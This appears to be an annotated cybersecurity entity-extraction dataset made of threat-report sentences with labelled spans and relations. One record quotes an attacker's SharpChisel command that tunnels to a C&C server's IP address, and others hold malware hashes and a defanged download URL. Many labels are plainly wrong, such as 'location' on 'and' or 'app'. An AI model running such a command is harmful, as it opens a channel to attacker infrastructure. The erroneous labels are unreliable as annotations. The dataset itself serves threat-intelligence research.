id
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14,166
|
Also, our almost 15 years of investing in and building AI/Machine Learning technologies into our backend and frontend products will allow us to have the data analytics piece covered.
|
[] |
[] |
[] |
3,739
|
2022-04
|
[
{
"id": 49559,
"label": "TIME",
"start_offset": 0,
"end_offset": 7
}
] |
[] |
[] |
3,450
|
Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways: Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
|
[
{
"id": 49223,
"label": "identity",
"start_offset": 1,
"end_offset": 19
},
{
"id": 49224,
"label": "identity",
"start_offset": 121,
"end_offset": 139
}
] |
[] |
[] |
5,448
|
This means the risks of losing control of your accounts through mobile online banking are likely to increase.
|
[] |
[] |
[] |
651
|
Once the system reboots, the malware displays a fake “chkdisk” scan which tricks the victim into believing the program is repairing their hard drive.
|
[] |
[] |
[] |
10,632
|
After compromising the developer, Sandworm built a backdoor in one of the legitimate apps and attempted to publish it on the Play Store.
|
[
{
"id": 32441,
"label": "threat-actor",
"start_offset": 34,
"end_offset": 42
},
{
"id": 32442,
"label": "location",
"start_offset": 63,
"end_offset": 66
},
{
"id": 32443,
"label": "location",
"start_offset": 90,
"end_offset": 93
}
] |
[] |
[] |
14,114
|
The compile times that are listed on binaries provide an estimate of the threat actor's working hours and help approximate possible time zones where the malware was developed.
|
[] |
[] |
[] |
13,674
|
X-Mailer: Opera7.22/Win32 M2 build 3221
|
[] |
[] |
[] |
4,204
|
Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.
|
[
{
"id": 50016,
"label": "threat-actor",
"start_offset": 70,
"end_offset": 79
},
{
"id": 50014,
"label": "TIME",
"start_offset": 8,
"end_offset": 16
},
{
"id": 50015,
"label": "threat-actor",
"start_offset": 56,
"end_offset": 65
},
{
"id": 50017,
"label": "location",
"start_offset": 202,
"end_offset": 212
}
] |
[
{
"id": 898,
"from_id": 50015,
"to_id": 50016,
"type": "related-to"
},
{
"id": 899,
"from_id": 50015,
"to_id": 50017,
"type": "targets"
},
{
"id": 900,
"from_id": 50016,
"to_id": 50017,
"type": "targets"
},
{
"id": 901,
"from_id": 50016,
"to_id": 50015,
"type": "related-to"
}
] |
[] |
4,461
|
We observed fewer than three dozen installs of this spyware.
|
[] |
[] |
[] |
4,128
|
After analyzing the file, we found that it was a customized version of Gh0st RAT.
|
[
{
"id": 49927,
"label": "malware",
"start_offset": 71,
"end_offset": 80
}
] |
[] |
[] |
45
|
The difference in price represented the difference in value: criminals were able to make more money through a Banking Trojan account takeover from an Australian infection than they could in Poland.
|
[
{
"id": 45771,
"label": "malware",
"start_offset": 110,
"end_offset": 124
},
{
"id": 45772,
"label": "attack-pattern",
"start_offset": 125,
"end_offset": 141
},
{
"id": 44579,
"label": "location",
"start_offset": 190,
"end_offset": 196
},
{
"id": 44580,
"label": "location",
"start_offset": 150,
"end_offset": 160
}
] |
[] |
[] |
7,334
|
T1070.004 File Deletion The app bundle and dropper delete themselves after execution T1222.002 Linux and Mac File and Directory Permissions Modification
|
[
{
"id": 22826,
"label": "attack-pattern",
"start_offset": 11,
"end_offset": 24
},
{
"id": 22827,
"label": "location",
"start_offset": 41,
"end_offset": 44
},
{
"id": 22828,
"label": "location",
"start_offset": 105,
"end_offset": 108
},
{
"id": 22829,
"label": "location",
"start_offset": 118,
"end_offset": 121
}
] |
[] |
[] |
8,881
|
Meanwhile, having the same user account launch the PlugX process and the auxiliary tool shows that the scheduled task is not for privilege escalation.
|
[
{
"id": 27469,
"label": "location",
"start_offset": 22,
"end_offset": 26
},
{
"id": 27470,
"label": "malware",
"start_offset": 51,
"end_offset": 56
},
{
"id": 27471,
"label": "location",
"start_offset": 65,
"end_offset": 68
},
{
"id": 27472,
"label": "location",
"start_offset": 83,
"end_offset": 87
},
{
"id": 27473,
"label": "attack-pattern",
"start_offset": 103,
"end_offset": 117
},
{
"id": 27474,
"label": "attack-pattern",
"start_offset": 129,
"end_offset": 149
}
] |
[] |
[] |
143
|
Specifically, there are three things that combine to make ransomware a particularly potent threat on the technical level:
|
[] |
[] |
[] |
3,521
|
Directly connect to the C&C server and use DNS server to retrieve the C&C IP address.
|
[] |
[] |
[] |
330
|
This allows attackers to hide their communications and avoid having their C2 servers shut down, but also makes it easy for organizations to block the threat.
|
[] |
[] |
[] |
5,720
|
This post is also available in: 日本語 (Japanese) Unit 42 released details about a new spear phishing campaign called FreeMilk that uses a relatively new attack technique that can be highly effective.
|
[
{
"id": 17675,
"label": "location",
"start_offset": 5,
"end_offset": 9
},
{
"id": 17677,
"label": "identity",
"start_offset": 53,
"end_offset": 60
},
{
"id": 17678,
"label": "attack-pattern",
"start_offset": 90,
"end_offset": 104
},
{
"id": 17679,
"label": "location",
"start_offset": 105,
"end_offset": 113
},
{
"id": 17681,
"label": "location",
"start_offset": 179,
"end_offset": 182
}
] |
[] |
[] |
10,856
|
Code snippet showing the ltymcr(Helper Class) component sadwoo:
|
[] |
[] |
[] |
4,879
|
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.
|
[
{
"id": 50886,
"label": "identity",
"start_offset": 0,
"end_offset": 3
}
] |
[] |
[] |
8,211
|
The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries The email contained an attached PDF file that seemed to be a letter from the French Tax service: Figure 7.
|
[] |
[] |
[] |
9,027
|
RATANKBA Infection Flow RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders.
|
[
{
"id": 27888,
"label": "malware",
"start_offset": 0,
"end_offset": 8
},
{
"id": 27890,
"label": "location",
"start_offset": 80,
"end_offset": 84
},
{
"id": 27892,
"label": "location",
"start_offset": 155,
"end_offset": 158
}
] |
[] |
[] |
4,365
|
The following security solutions can also protect users from email-based attacks: Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.
|
[
{
"id": 50148,
"label": "SOFTWARE",
"start_offset": 142,
"end_offset": 162
},
{
"id": 50147,
"label": "SOFTWARE",
"start_offset": 83,
"end_offset": 114
}
] |
[] |
[] |
6,102
|
All of the attacks were detected by our WildFire platform.
|
[
{
"id": 18873,
"label": "malware",
"start_offset": 40,
"end_offset": 48
}
] |
[] |
[] |
14,130
|
For example, an action for the SYSTEM_ADMIN could be to create a user, add a user to a channel, etc.
|
[] |
[] |
[] |
1,996
|
Additional Resources
|
[] |
[] |
[] |
6,717
|
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
|
[
{
"id": 20916,
"label": "location",
"start_offset": 3,
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},
{
"id": 20917,
"label": "attack-pattern",
"start_offset": 82,
"end_offset": 90
},
{
"id": 20918,
"label": "location",
"start_offset": 91,
"end_offset": 94
},
{
"id": 20919,
"label": "location",
"start_offset": 126,
"end_offset": 129
}
] |
[] |
[] |
8,365
|
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
|
[
{
"id": 25737,
"label": "tools",
"start_offset": 70,
"end_offset": 76
},
{
"id": 25738,
"label": "location",
"start_offset": 77,
"end_offset": 80
},
{
"id": 25739,
"label": "location",
"start_offset": 81,
"end_offset": 89
},
{
"id": 25740,
"label": "location",
"start_offset": 112,
"end_offset": 115
},
{
"id": 25741,
"label": "location",
"start_offset": 143,
"end_offset": 146
}
] |
[] |
[] |
4,627
|
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
|
[
{
"id": 50541,
"label": "identity",
"start_offset": 181,
"end_offset": 199
}
] |
[] |
[] |
13,177
|
Figure 5. USBferry malware using USB worm infection strategy
|
[
{
"id": 41121,
"label": "malware",
"start_offset": 11,
"end_offset": 19
}
] |
[] |
[] |
14,122
|
During the capture of samples for Operation Earth Kitsune, we managed to dump information about the Mattermost server using its API and the token used by the malware itself.
|
[
{
"id": 48187,
"label": "campaign",
"start_offset": 38,
"end_offset": 61
}
] |
[] |
[] |
2,102
|
By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
|
[] |
[] |
[] |
11,717
|
As seen with their phishing attacks and their mobile device tools’ continuous development, SideWinder is very proactive in using trending topics like Covid-19 or various political issues as a social engineering technique to compromise their targets.
|
[
{
"id": 36108,
"label": "attack-pattern",
"start_offset": 19,
"end_offset": 27
},
{
"id": 36109,
"label": "location",
"start_offset": 36,
"end_offset": 39
},
{
"id": 36110,
"label": "location",
"start_offset": 46,
"end_offset": 52
},
{
"id": 36111,
"label": "malware",
"start_offset": 91,
"end_offset": 101
}
] |
[] |
[] |
8,161
|
FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero
|
[] |
[] |
[] |
2,338
|
In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.
|
[] |
[] |
[] |
1,560
|
If you get an email like this, you shouldn’t open the attachment and click “enable content”.
|
[] |
[] |
[] |
8,098
|
Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.
|
[] |
[] |
[] |
435
|
How Do Unauthorized Coin Mining Attacks Happen?
|
[
{
"id": 44748,
"label": "attack-pattern",
"start_offset": 8,
"end_offset": 32
}
] |
[] |
[] |
6,307
|
Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.
|
[
{
"id": 19559,
"label": "attack-pattern",
"start_offset": 165,
"end_offset": 191
}
] |
[] |
[] |
6,621
| ERROR: type should be string, got " https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/ https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/ https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/ https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/ https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/ https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/ https://unit42.paloaltonetworks.com/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/ https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/ https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/ https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/ https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ https://attack.mitre.org/groups/G0059/ The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy. The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group."
|
[
{
"id": 20520,
"label": "URL",
"start_offset": 1,
"end_offset": 97
},
{
"id": 20521,
"label": "URL",
"start_offset": 99,
"end_offset": 201
},
{
"id": 20523,
"label": "URL",
"start_offset": 313,
"end_offset": 428
},
{
"id": 20526,
"label": "URL",
"start_offset": 642,
"end_offset": 737
},
{
"id": 20533,
"label": "URL",
"start_offset": 1346,
"end_offset": 1467
},
{
"id": 20534,
"label": "URL",
"start_offset": 1469,
"end_offset": 1507
},
{
"id": 20535,
"label": "threat-actor",
"start_offset": 1513,
"end_offset": 1524
},
{
"id": 20536,
"label": "location",
"start_offset": 1525,
"end_offset": 1533
},
{
"id": 20537,
"label": "location",
"start_offset": 1543,
"end_offset": 1549
},
{
"id": 20538,
"label": "location",
"start_offset": 1563,
"end_offset": 1566
},
{
"id": 20539,
"label": "location",
"start_offset": 1597,
"end_offset": 1602
},
{
"id": 20540,
"label": "attack-pattern",
"start_offset": 1603,
"end_offset": 1611
},
{
"id": 20541,
"label": "identity",
"start_offset": 1681,
"end_offset": 1690
},
{
"id": 20542,
"label": "tools",
"start_offset": 1691,
"end_offset": 1697
},
{
"id": 20543,
"label": "location",
"start_offset": 1708,
"end_offset": 1711
},
{
"id": 20544,
"label": "location",
"start_offset": 1755,
"end_offset": 1758
},
{
"id": 20545,
"label": "malware",
"start_offset": 1872,
"end_offset": 1883
},
{
"id": 20546,
"label": "malware",
"start_offset": 1911,
"end_offset": 1922
},
{
"id": 20547,
"label": "location",
"start_offset": 1952,
"end_offset": 1955
},
{
"id": 20549,
"label": "threat-actor",
"start_offset": 2026,
"end_offset": 2037
},
{
"id": 20550,
"label": "location",
"start_offset": 2038,
"end_offset": 2046
},
{
"id": 20552,
"label": "location",
"start_offset": 2151,
"end_offset": 2155
},
{
"id": 20553,
"label": "threat-actor",
"start_offset": 2176,
"end_offset": 2186
}
] |
[] |
[] |
13,353
|
More than just a single occurrence
|
[
{
"id": 41543,
"label": "identity",
"start_offset": 10,
"end_offset": 14
}
] |
[] |
[] |
7,594
|
SFXRAR
|
[] |
[] |
[] |
5,042
|
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
|
[] |
[] |
[] |
7,068
|
It should be noted that we also found recent samples of the SysUpdate backdoor that do not implement these “new” classes.
|
[
{
"id": 22144,
"label": "malware",
"start_offset": 61,
"end_offset": 70
}
] |
[] |
[] |
4,676
|
x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList
|
[] |
[] |
[] |
917
|
This script file contains the following commands, which will delete shadow copies on the Windows operating system.
|
[
{
"id": 46439,
"label": "SOFTWARE",
"start_offset": 90,
"end_offset": 114
}
] |
[] |
[] |
1,812
|
We observed that a new user account was created, added to the current domain, and included in the administrator group.
|
[] |
[] |
[] |
4,747
|
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
|
[] |
[] |
[] |
1,424
|
All Android apps must be digitally signed with a certificate from the developer.
|
[
{
"id": 46762,
"label": "SOFTWARE",
"start_offset": 5,
"end_offset": 12
}
] |
[] |
[] |
4,014
|
Articles, News, Reports
|
[] |
[] |
[] |
2,436
|
The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.
|
[
{
"id": 47502,
"label": "SOFTWARE",
"start_offset": 97,
"end_offset": 100
},
{
"id": 47503,
"label": "attack-pattern",
"start_offset": 101,
"end_offset": 109
}
] |
[] |
[] |
10,040
|
contains the cron and anacron binaries, which are the cryptocurrency miners used by the malware.
|
[
{
"id": 30636,
"label": "threat-actor",
"start_offset": 13,
"end_offset": 17
},
{
"id": 30637,
"label": "location",
"start_offset": 18,
"end_offset": 21
},
{
"id": 30638,
"label": "location",
"start_offset": 46,
"end_offset": 49
}
] |
[] |
[] |
14,244
|
For each file, GitHub stores first-and-last commit timestamps; these enabled us to create a timeline of the first use of the group’s many C&C servers.
|
[
{
"id": 48439,
"label": "SOFTWARE",
"start_offset": 15,
"end_offset": 22
}
] |
[] |
[] |
11,882
|
We did not recover additional payloads in our environment.
|
[] |
[] |
[] |
514
|
Higher malware variant numbers don't necessarily imply a higher prevalence.
|
[] |
[] |
[] |
7,581
|
If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.
|
[
{
"id": 23637,
"label": "location",
"start_offset": 66,
"end_offset": 70
},
{
"id": 23638,
"label": "malware",
"start_offset": 84,
"end_offset": 88
}
] |
[] |
[] |
3,876
|
In addition to implementing both mitigation techniques and proactive strategies, organizations can also strengthen their security by employing solutions such Trend Micro™ Deep Security™ and TippingPoint, which protects endpoints from threats that abuse vulnerabilities.
|
[
{
"id": 49728,
"label": "identity",
"start_offset": 158,
"end_offset": 169
},
{
"id": 49729,
"label": "SOFTWARE",
"start_offset": 171,
"end_offset": 184
},
{
"id": 49730,
"label": "SOFTWARE",
"start_offset": 190,
"end_offset": 202
}
] |
[] |
[] |
1,448
|
This is convenient for developers, which is great, but it is also convenient for hackers, which is not.
|
[] |
[] |
[] |
2,804
|
As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches.
|
[
{
"id": 48022,
"label": "identity",
"start_offset": 30,
"end_offset": 39
}
] |
[] |
[] |
2,124
|
It’s important to note, however, that the vulnerability is not exploitable in default configurations.
|
[] |
[] |
[] |
318
|
The Backoff and Citadel reports from last week highlight how uncontrolled remote access broadens your attack surface and acts as a backdoor for attackers already in your network.
|
[
{
"id": 1095,
"label": "malware",
"start_offset": 5,
"end_offset": 12
},
{
"id": 1097,
"label": "malware",
"start_offset": 17,
"end_offset": 24
}
] |
[] |
[] |
1,477
|
Whoever controls the key controls updates for the application forever, and a key shared between applications in this way can never be transferred to a financial institution without compromising the security of all of the other apps signed with it.
|
[] |
[] |
[] |
13,015
|
In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.
|
[
{
"id": 48825,
"label": "identity",
"start_offset": 25,
"end_offset": 52
},
{
"id": 48827,
"label": "TIME",
"start_offset": 3,
"end_offset": 14
},
{
"id": 48826,
"label": "location",
"start_offset": 137,
"end_offset": 144
}
] |
[] |
[] |
1,329
|
The remote server has the ability to respond and provide instructions to the RAT.
|
[] |
[] |
[] |
3,591
|
The following image shows the modified function name.
|
[] |
[] |
[] |
4,277
|
The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com.
|
[
{
"id": 50080,
"label": "DOMAIN",
"start_offset": 142,
"end_offset": 156
},
{
"id": 50078,
"label": "malware",
"start_offset": 77,
"end_offset": 86
},
{
"id": 50079,
"label": "DOMAIN",
"start_offset": 121,
"end_offset": 137
}
] |
[
{
"id": 915,
"from_id": 50078,
"to_id": 50079,
"type": "communicates-with"
},
{
"id": 916,
"from_id": 50078,
"to_id": 50080,
"type": "communicates-with"
}
] |
[] |
3,604
|
While we don’t have definitive evidence that the use of these tools are part of a single campaign, we think the analyzed samples are related to a specific campaign.
|
[] |
[] |
[] |
2,521
|
Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.
|
[
{
"id": 47716,
"label": "attack-pattern",
"start_offset": 69,
"end_offset": 86
}
] |
[] |
[] |
14,179
|
Yes, we’ve seen continuous DDoS attacks, a campaign of web defacements and various iterations of wiper malware.
|
[
{
"id": 48221,
"label": "attack-pattern",
"start_offset": 27,
"end_offset": 32
},
{
"id": 48222,
"label": "malware",
"start_offset": 97,
"end_offset": 102
}
] |
[] |
[] |
9,897
|
AramCo Jobs 10/22/18 [email protected]
|
[] |
[] |
[] |
10,863
|
Code from the itxdrx component nhnhpi:
|
[] |
[] |
[] |
13,344
|
After that, the PowerShell command executes the main ransomware loader.
|
[
{
"id": 41529,
"label": "attack-pattern",
"start_offset": 16,
"end_offset": 26
}
] |
[] |
[] |
13,738
|
The payloads performed functionalities we have never seen in other Waterbear campaigns.
|
[] |
[] |
[] |
2,656
|
While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.
|
[
{
"id": 47844,
"label": "threat-actor",
"start_offset": 48,
"end_offset": 59
}
] |
[] |
[] |
6,523
|
Pyinstaller remote access tool newsblog.js 304ea86131c4d105d35ebbf2784d44ea24f0328fb483db29b7ad5ffe514454f8 Trojan.JS.DLOADR.AUSUOL VBS downloader new.exe fb414beebfb9ecbc6cb9b35c1d2adc48102529d358c7a8997e903923f7eda1a2 HackTool.Win64.LIGOLO.A LIGOLO tunneling tool Browser64.exe 3495b0a6508f1af0f95906efeba36148296dccd2ab8ffb4e569254b683584fea HackTool.Win64.BrowserDumper.A
|
[
{
"id": 20224,
"label": "location",
"start_offset": 12,
"end_offset": 18
},
{
"id": 20225,
"label": "location",
"start_offset": 26,
"end_offset": 30
},
{
"id": 20226,
"label": "SHA2",
"start_offset": 43,
"end_offset": 107
},
{
"id": 20227,
"label": "SHA2",
"start_offset": 155,
"end_offset": 219
},
{
"id": 20228,
"label": "location",
"start_offset": 261,
"end_offset": 265
},
{
"id": 20229,
"label": "SHA1",
"start_offset": 280,
"end_offset": 344
}
] |
[] |
[] |
2,860
|
The latest episode of the Don’t Panic cybersecurity podcast is now live.
|
[] |
[] |
[] |
12,802
|
The tactic it later adopted required prior knowledge of their targets’ environment.
|
[] |
[] |
[] |
11,307
|
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
|
[] |
[] |
[] |
14,334
|
One of the samples was sourced from hxxp://roundyearfun[.]org/noavi/MiaKhalifa[.]apk.
|
[
{
"id": 48562,
"label": "URL",
"start_offset": 36,
"end_offset": 84
}
] |
[] |
[] |
844
|
These don’t attack the kernel to gain privileges.
|
[] |
[] |
[] |
9,612
|
pipeCommunication.Close(); }
|
[] |
[] |
[] |
2,212
|
The malware initially attempts to download a file from the following location:
|
[] |
[] |
[] |
10,092
|
It is a second-stage payload in the attack.
|
[] |
[] |
[] |
1,522
|
If the first value in the packet is 0x20 the file will delete all DDoS tasks.
|
[] |
[] |
[] |
2,020
|
As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.
|
[] |
[] |
[] |
3,836
|
Figure 10.
|
[] |
[] |
[] |
13,127
|
In-house skills shortages and the rapid pace of innovation from cloud service providers exacerbate this challenge.
|
[] |
[] |
[] |
12,471
|
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
|
[] |
[] |
[] |
695
|
Conclusion
|
[] |
[] |
[] |
6,478
|
We believe that the threat actor was unable to configure SharpChisel to work correctly.
|
[] |
[] |
[] |
60
|
However, there are many other “crypto coins” in the market today.
|
[] |
[] |
[] |
11,210
|
Again, the response is expected to be "OK".
|
[] |
[] |
[] |
1,285
|
Sysget/HelloBridge
|
[
{
"id": 46657,
"label": "malware",
"start_offset": 1,
"end_offset": 7
},
{
"id": 46658,
"label": "malware",
"start_offset": 8,
"end_offset": 19
}
] |
[] |
[] |
4,153
|
In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall.
|
[] |
[] |
[] |
5,215
|
Notably, hosts never stopped sending traffic to us, even if we only sent them a single 288-byte packet.
|
[] |
[] |
[] |
6,477
|
A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999
|
[
{
"id": 20125,
"label": "attack-pattern",
"start_offset": 264,
"end_offset": 274
}
] |
[] |
[] |
9,707
|
Figure 24.
|
[] |
[] |
[] |
3,982
|
An attack on the software supply chain happens when a cyber threat actor invades a vendor's network and uses malicious codes, compromising the software before the vendor sends it to their consumers.
|
[] |
[] |
[] |
4,100
|
The difference between the two variants is the protocol used for communication: ICMP and SSL.
|
[] |
[] |
[] |
10,096
|
It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application.
|
[] |
[] |
[] |
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